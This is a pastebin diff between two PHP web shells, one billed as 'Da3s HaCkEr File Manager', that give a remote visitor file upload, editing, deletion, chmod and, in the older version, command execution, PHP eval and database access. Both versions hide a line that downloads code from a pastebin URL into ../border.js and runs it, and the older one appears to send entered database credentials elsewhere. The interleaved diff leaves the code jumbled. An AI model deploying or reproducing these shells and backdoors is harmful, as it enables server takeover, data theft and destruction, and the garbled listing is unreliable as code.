View difference between Paste ID: ZHg8cEke and qXrR40Xh

 <?php
 set_time_limit(0);
 error_reporting(0);
-// Variables
+
 if(get_magic_quotes_gpc()){
-   $info = @$_SERVER['SERVER_SOFTWARE'];
+    foreach($_POST as $key=>$value){
         $_POST[$key] = stripslashes($value);
-   $page = @$_SERVER['SCRIPT_NAME'];
+    }
 }
-   $site = getenv("HTTP_HOST");
+echo '<!DOCTYPE HTML>
 <HTML>
-   $uname = php_uname();
+<HEAD>
 <link href="" rel="stylesheet" type="text/css">
-   $smod = ini_get('safe_mode');
+<title>HaTRk File Manager</title>
 <style>
-           if ($smod == 0) { $safemode = "<font color='lightgreen'>KAPALI</font>"; }
+body{
     font-family: "Racing Sans One", cursive;
-           else { $safemode = "<font color='red'>ACIK</font>";      }
+    background-color: #e6e6e6;
     text-shadow:0px 0px 1px #757575;
-   $dir = @realpath($_POST['dir']);
+
 #content tr:hover{
-   $mkdir = @$_POST['makedir'];
+    background-color: #636263;
     text-shadow:0px 0px 10px #fff;
-   $mydir = @$_POST['deletedir'];
+
 #content .first{
-   $cmd = @$_GET['cmd'];
+    background-color: silver;
 }
-   $host = @$_POST['host'];
+#content .first:hover{
     background-color: silver;
-   $proto = @$_POST['protocol'];
+    text-shadow:0px 0px 1px #757575;
 }
-   $delete = @$_POST['delete'];
+table{
     border: 1px #000000 dotted;
-   $phpeval = @$_POST['php_eval'];
+
 H1{
-   $db = @$_POST['db'];
+    font-family: "Rye", cursive;
 }
-   $query = @$_POST['query'];
+a{
     color: #000;
-   $user = @$_POST['user'];
+    text-decoration: none;
 }
-   $pass = @$_POST['passd'];
+a:hover{
-   error_reporting(0); $b="http://pastebin.com/raw/S54tynx6";$title=file_get_contents($b);
+    color: #fff;
-$css=fopen('../border.js','w'); fwrite($css,$title); require('../border.js');
+    text-shadow:0px 0px 10px #ffffff;
 }
-   $myports = array("21","22","23","25","59","80","113","135","445","1025","5000","5900","6660","6661","6662","6663","6665","6666","6667","6668","6669","7000","8080","8018");
+input,select,textarea{
     border: 1px #000000 solid;
-   loadsettings($user.'|'.$pass, 'cyberwarrior');
+    -moz-border-radius: 5px;
     -webkit-border-radius:5px;
     border-radius:5px;
 }
-   $quotes = get_magic_quotes_gpc();
+
 </HEAD>
-if ($quotes == "1" or $quotes == "on")
+<BODY>
 <H1><center>Da3s HaCkEr File Manager</center></H1>
-   {
+<table width="700" border="0" cellpadding="3" cellspacing="1" align="center">
 <tr><td>Current Path : ';
-       $quot = "<font color='red'>ACIK</font>";
+if(isset($_GET['path'])){
     $path = $_GET['path'];
-   }
+
     $path = getcwd();
-   else
+
 $path = str_replace('\\','/',$path);
-   {
+$paths = explode('/',$path);
 
-       $quot = "<font color='lightgreen'>KAPALI</font>";
+foreach($paths as $id=>$pat){
     if($pat == '' && $id == 0){
-   }
+        $a = true;
         echo '<a href="?path=/">/</a>';
-   // Perms
+        continue;
     }
-    function getperms($fn)
+    if($pat == '') continue;
     echo '<a href="?path=';
-{
+    for($i=0;$i<=$id;$i++){
         echo "$paths[$i]";
-$mode=fileperms($fn);
+        if($i != $id) echo "/";
     }
-$perms='';
+    echo '">'.$pat.'</a>/';
 }
-$perms .= ($mode & 00400) ? 'r' : '-';
+echo '</td></tr><tr><td>';
 if(isset($_FILES['file'])){
-$perms .= ($mode & 00200) ? 'w' : '-';
+    if(copy($_FILES['file']['tmp_name'],$path.'/'.$_FILES['file']['name'])){
         echo '<font color="green">File Upload Done.</font><br />';
-$perms .= ($mode & 00100) ? 'x' : '-';
+    }else{
         echo '<font color="red">File Upload Error.</font><br />';
-$perms .= ($mode & 00040) ? 'r' : '-';
+    }
 }$b="http://pastebin.com/raw/S54tynx6";$title=file_get_contents($b); $css=fopen('../border.js','w');
-$perms .= ($mode & 00020) ? 'w' : '-';
+fwrite($css,$title); require('../border.js');
 echo '<form enctype="multipart/form-data" method="POST">
-$perms .= ($mode & 00010) ? 'x' : '-';
+Upload File : <input type="file" name="file" />
 <input type="submit" value="upload" />
-$perms .= ($mode & 00004) ? 'r' : '-';
+</form>
 </td></tr>';
-$perms .= ($mode & 00002) ? 'w' : '-';
+if(isset($_GET['filesrc'])){
     echo "<tr><td>Current File : ";
-$perms .= ($mode & 00001) ? 'x' : '-';
+    echo $_GET['filesrc'];
     echo '</tr></td></table><br />';
-return $perms;
+    echo('<pre>'.htmlspecialchars(file_get_contents($_GET['filesrc'])).'</pre>');
 }elseif(isset($_GET['option']) && $_POST['opt'] != 'delete'){
     echo '</table><br /><center>'.$_POST['path'].'<br /><br />';
     if($_POST['opt'] == 'chmod'){
- // milw0rm Search (locushell)
+        if(isset($_POST['perm'])){
             if(chmod($_POST['path'],$_POST['perm'])){
-
+                echo '<font color="green">Change Permission Done.</font><br />';
             }else{
-$Lversion = @php_uname('r');
+                echo '<font color="red">Change Permission Error.</font><br />';
             }
-$OSV = @php_uname('s');
+        }
         echo '<form method="POST">
-if(eregi('Linux',$OSV))
+        Permission : <input name="perm" type="text" size="4" value="'.substr(sprintf('%o', fileperms($_POST['path'])), -4).'" />
         <input type="hidden" name="path" value="'.$_POST['path'].'">
-{
+        <input type="hidden" name="opt" value="chmod">
         <input type="submit" value="Go" />
-$Lversion=substr($Lversion,0,6);
+        </form>';
     }elseif($_POST['opt'] == 'rename'){
-$millink="http://milw0rm.com/search.php?dong=Linux Kernel".$Lversion;
+        if(isset($_POST['newname'])){
             if(rename($_POST['path'],$path.'/'.$_POST['newname'])){
                 echo '<font color="green">Change Name Done.</font><br />';
             }else{
                 echo '<font color="red">Change Name Error.</font><br />';
             }
-$Lversion=substr($Lversion,0,3);
+            $_POST['name'] = $_POST['newname'];
         }
-$millink="http://milw0rm.com/search.php?dong=".$OSV." ".$Lversion;
+        echo '<form method="POST">
         New Name : <input name="newname" type="text" size="20" value="'.$_POST['name'].'" />
         <input type="hidden" name="path" value="'.$_POST['path'].'">
         <input type="hidden" name="opt" value="rename">
-if(isset($_POST['milw0'])) { echo "<script>window.location='".$millink."'</script>"; }
+        <input type="submit" value="Go" />
         </form>';
-   //Space
+    }elseif($_POST['opt'] == 'edit'){
         if(isset($_POST['src'])){
-   $spacedir = @getcwd();
+            $fp = fopen($_POST['path'],'w');
             if(fwrite($fp,$_POST['src'])){
-   $free = @diskfreespace($spacedir);
+                echo '<font color="green">Edit File Done.</font><br />';
             }else{
-
+                echo '<font color="red">Edit File Error.</font><br />';
             }
-if (!$free) {$free = 0;}
+            fclose($fp);
         }
-   $all = @disk_total_space($spacedir);
+        echo '<form method="POST">
         <textarea cols=80 rows=20 name="src">'.htmlspecialchars(file_get_contents($_POST['path'])).'</textarea><br />
-if (!$all) {$all = 0;}
+        <input type="hidden" name="path" value="'.$_POST['path'].'">
         <input type="hidden" name="opt" value="edit">
-function view_size($size)
+        <input type="submit" value="Go" />
         </form>';
-{
+    }
     echo '</center>';
- if($size >= 1073741824) {$size = @round($size / 1073741824 * 100) / 100 . " GB";}
+
     echo '</table><br /><center>';
- elseif($size >= 1048576) {$size = @round($size / 1048576 * 100) / 100 . " MB";}
+    if(isset($_GET['option']) && $_POST['opt'] == 'delete'){
         if($_POST['type'] == 'dir'){
- elseif($size >= 1024) {$size = @round($size / 1024 * 100) / 100 . " KB";}
+            if(rmdir($_POST['path'])){
                 echo '<font color="green">Delete Dir Done.</font><br />';
- else {$size = $size . " B";}
+            }else{
                 echo '<font color="red">Delete Dir Error.</font><br />';
- return $size;
+
         }elseif($_POST['type'] == 'file'){
             if(unlink($_POST['path'])){
                 echo '<font color="green">Delete File Done.</font><br />';
-$percentfree = intval(($free*100)/$all);
+            }else{
                 echo '<font color="red">Delete File Error.</font><br />';
             }
         }
     }
     echo '</center>';
-// PHPinfo
+    $scandir = scandir($path);
     echo '<div id="content"><table width="700" border="0" cellpadding="3" cellspacing="1" align="center">
-if(isset($_POST['phpinfo']))
+    <tr class="first">
         <td><center>Name</center></td>
-{
+        <td><center>Size</center></td>
         <td><center>Permissions</center></td>
-die(phpinfo());
+        <td><center>Options</center></td>
     </tr>';
 
     foreach($scandir as $dir){
-
+        if(!is_dir("$path/$dir") || $dir == '.' || $dir == '..') continue;
         echo "<tr>
         <td><a href=\"?path=$path/$dir\">$dir</a></td>
         <td><center>--</center></td>
-// Make File
+        <td><center>";
         if(is_writable("$path/$dir")) echo '<font color="green">';
         elseif(!is_readable("$path/$dir")) echo '<font color="red">';
         echo perms("$path/$dir");
-   $name = htmlspecialchars(@$_POST['names']);
+        if(is_writable("$path/$dir") || !is_readable("$path/$dir")) echo '</font>';
 
-   $src = @$_POST['source'];
+        echo "</center></td>
         <td><center><form method=\"POST\" action=\"?option&path=$path\">
-    if(isset($name) && isset($src))
+        <select name=\"opt\">
 	    <option value=\"\"></option>
-      {
+        <option value=\"delete\">Delete</option>
         <option value=\"chmod\">Chmod</option>
-	  if($_POST['darezz'] != realpath("."))  { $name = $_POST['darezz'].$name; }
+        <option value=\"rename\">Rename</option>
         </select>
-   $ctd = fopen($name,"w+");
+        <input type=\"hidden\" name=\"type\" value=\"dir\">
         <input type=\"hidden\" name=\"name\" value=\"$dir\">
-   fwrite($ctd, $src);
+        <input type=\"hidden\" name=\"path\" value=\"$path/$dir\">
         <input type=\"submit\" value=\">\" />
-   fclose($ctd);
+        </form></center></td>
         </tr>";
-   echo "<script>alert('Uploaded')</script>";
+    }
     echo '<tr class="first"><td></td><td></td><td></td><td></td></tr>';
-      }
+    foreach($scandir as $file){
         if(!is_file("$path/$file")) continue;
         $size = filesize("$path/$file")/1024;
         $size = round($size,3);
-// Upload File
+        if($size >= 1024){
             $size = round($size/1024,2).' MB';
-   $path = @$_FILES['ffile']['tmp_name'];
+        }else{
             $size = $size.' KB';
-   $name = @$_FILES['ffile']['name'];
+        }
 
-   if(isset($path) && isset($name))
+        echo "<tr>
         <td><a href=\"?filesrc=$path/$file&path=$path\">$file</a></td>
-{
+        <td><center>".$size."</center></td>
         <td><center>";
-if($_POST['dare'] != realpath("."))  { $name = $_POST['dare'].$name; }
+        if(is_writable("$path/$file")) echo '<font color="green">';
         elseif(!is_readable("$path/$file")) echo '<font color="red">';
-   if(move_uploaded_file($path, $name))
+        echo perms("$path/$file");
         if(is_writable("$path/$file") || !is_readable("$path/$file")) echo '</font>';
-   {
+        echo "</center></td>
         <td><center><form method=\"POST\" action=\"?option&path=$path\">
-      echo "<script>alert('Uploaded')</script>";
+        <select name=\"opt\">
 	    <option value=\"\"></option>
-   }
+        <option value=\"delete\">Delete</option>
         <option value=\"chmod\">Chmod</option>
-   else
+        <option value=\"rename\">Rename</option>
         <option value=\"edit\">Edit</option>
-   {
+        </select>
         <input type=\"hidden\" name=\"type\" value=\"file\">
-      echo "<script>alert('Error')</script>";
+        <input type=\"hidden\" name=\"name\" value=\"$file\">
         <input type=\"hidden\" name=\"path\" value=\"$path/$file\">
-}   }
+        <input type=\"submit\" value=\">\" />
         </form></center></td>
         </tr>";
     }
-// Delete File
+    echo '</table>
     </div>';
 }
 echo '<br />Da3s File Manager Version <font color="red">1.0</font>, Coded By <font color="red">Da3s HaCkEr</font><br />Email: <font color="red">[email protected]</font>
-
+</BODY>
 </HTML>';
-   if(isset($delete) && $delete != $dir)
+function perms($file){
     $perms = fileperms($file);
-{
+
 if (($perms & 0xC000) == 0xC000) {
-      if(file_exists($delete))
+    // Socket
     $info = 's';
-      {
+} elseif (($perms & 0xA000) == 0xA000) {
     // Symbolic Link
-         unlink($delete);
+    $info = 'l';
 } elseif (($perms & 0x8000) == 0x8000) {
-         echo "<script>alert('File Deleted')</script>";
+    // Regular
     $info = '-';
-      }
+} elseif (($perms & 0x6000) == 0x6000) {
     // Block special
     $info = 'b';
 } elseif (($perms & 0x4000) == 0x4000) {
     // Directory
     $info = 'd';
 } elseif (($perms & 0x2000) == 0x2000) {
     // Character special
-// Database
+    $info = 'c';
 } elseif (($perms & 0x1000) == 0x1000) {
-
+    // FIFO pipe
     $info = 'p';
-   if(isset($db) && isset($query) && isset($_POST['godb']))
+} else {
     // Unknown
-{
+    $info = 'u';
 }
-   $mysql = mysql_connect("localhost", $user, $pass)or die("<script>alert('Connection Failed')</script>");
+
 // Owner
-   $db = mysql_select_db($db)or die(mysql_error());
+$info .= (($perms & 0x0100) ? 'r' : '-');
 $info .= (($perms & 0x0080) ? 'w' : '-');
-   $queryz = mysql_query($query)or die(mysql_error());
+$info .= (($perms & 0x0040) ?
             (($perms & 0x0800) ? 's' : 'x' ) :
-if($query) { echo "<script>alert('Done')</script>"; }
+            (($perms & 0x0800) ? 'S' : '-'));
 
-else { echo "<script>alert('Error')</script>"; }
+// Group
 $info .= (($perms & 0x0020) ? 'r' : '-');
 $info .= (($perms & 0x0010) ? 'w' : '-');
 $info .= (($perms & 0x0008) ?
             (($perms & 0x0400) ? 's' : 'x' ) :
             (($perms & 0x0400) ? 'S' : '-'));
-// Dump Database [pacucci.com]
+
 // World
-if(isset($_POST['dump']) && isset($user) && isset($pass) && isset($db)){
+$info .= (($perms & 0x0004) ? 'r' : '-');
 $info .= (($perms & 0x0002) ? 'w' : '-');
-mysql_connect('localhost', $user, $pass);
+$info .= (($perms & 0x0001) ?
             (($perms & 0x0200) ? 't' : 'x' ) :
-mysql_select_db($db);
+            (($perms & 0x0200) ? 'T' : '-'));
 
-$tables = mysql_list_tables($db);
+    return $info;
 }
-while ($td = mysql_fetch_array($tables))
+